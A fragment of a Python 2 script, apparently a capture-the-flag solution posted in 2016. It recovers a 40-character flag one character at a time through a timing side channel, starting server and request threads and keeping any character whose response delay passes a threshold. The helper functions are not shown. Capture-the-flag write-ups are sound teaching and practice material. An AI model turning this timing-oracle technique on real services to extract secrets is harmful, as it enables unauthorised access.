    print "[+] {} round ({}s)".format(j,4 + len(flag)*2)
    print

    for i in string:

        start = time.clock()
        
        t1 = threading.Thread(target = serv, args = (i,))
        t1.start()
        
        t = threading.Thread(target = game_request, args = ())
        t.start()

        t1.join()
        t.join()

        end = time.clock()

        due = end - start

        if due > 4 + len(flag)*2:
            flag = "{}{}".format(flag,i)
            print "[!] Found : {}".format(i)
            print "[*] KEY: {} ({}/40)".format(flag,len(flag))
            print
            break




2016/06/22 05:01 2016/06/22 05:01